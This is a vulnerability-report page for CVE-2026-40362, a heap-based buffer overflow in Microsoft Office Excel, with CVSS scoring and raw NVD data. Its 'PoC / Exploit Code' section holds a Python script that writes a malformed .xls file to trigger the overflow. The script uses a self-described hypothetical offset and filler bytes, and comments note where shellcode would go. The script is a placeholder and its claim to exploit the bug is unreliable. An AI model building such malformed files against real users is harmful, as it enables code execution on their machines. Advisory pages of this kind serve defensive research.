Security Vulnerability Report
中文
CVE-2026-40362 CVSS 7.8 HIGH

CVE-2026-40362

Published: 2026-05-12 18:17:15
Last Modified: 2026-05-13 15:34:53

Description

Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Office Excel (具体受影响版本需参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Proof of Concept concept for CVE-2026-40362 # This script demonstrates how to create a malformed Excel file structure # intended to trigger the heap overflow during parsing. def create_malicious_xls(filename): # XLS File Header (Signature) header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # Padding to reach the vulnerable parsing offset (Hypothetical offset) padding = b"\x00" * 0x100 # Payload to overflow the heap buffer # In a real exploit, this would contain ROP chains or Shellcode payload = b"A" * 0x500 # Large buffer to trigger overflow with open(filename, 'wb') as f: f.write(header) f.write(padding) f.write(payload) print(f"[+] Malicious file '{filename}' generated.") print(f"[!] Use with caution in a sandboxed environment.") if __name__ == "__main__": create_malicious_xls("cve_2026_40362_poc.xls")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40362", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:15.077", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362", "source": "[email protected]"}]}}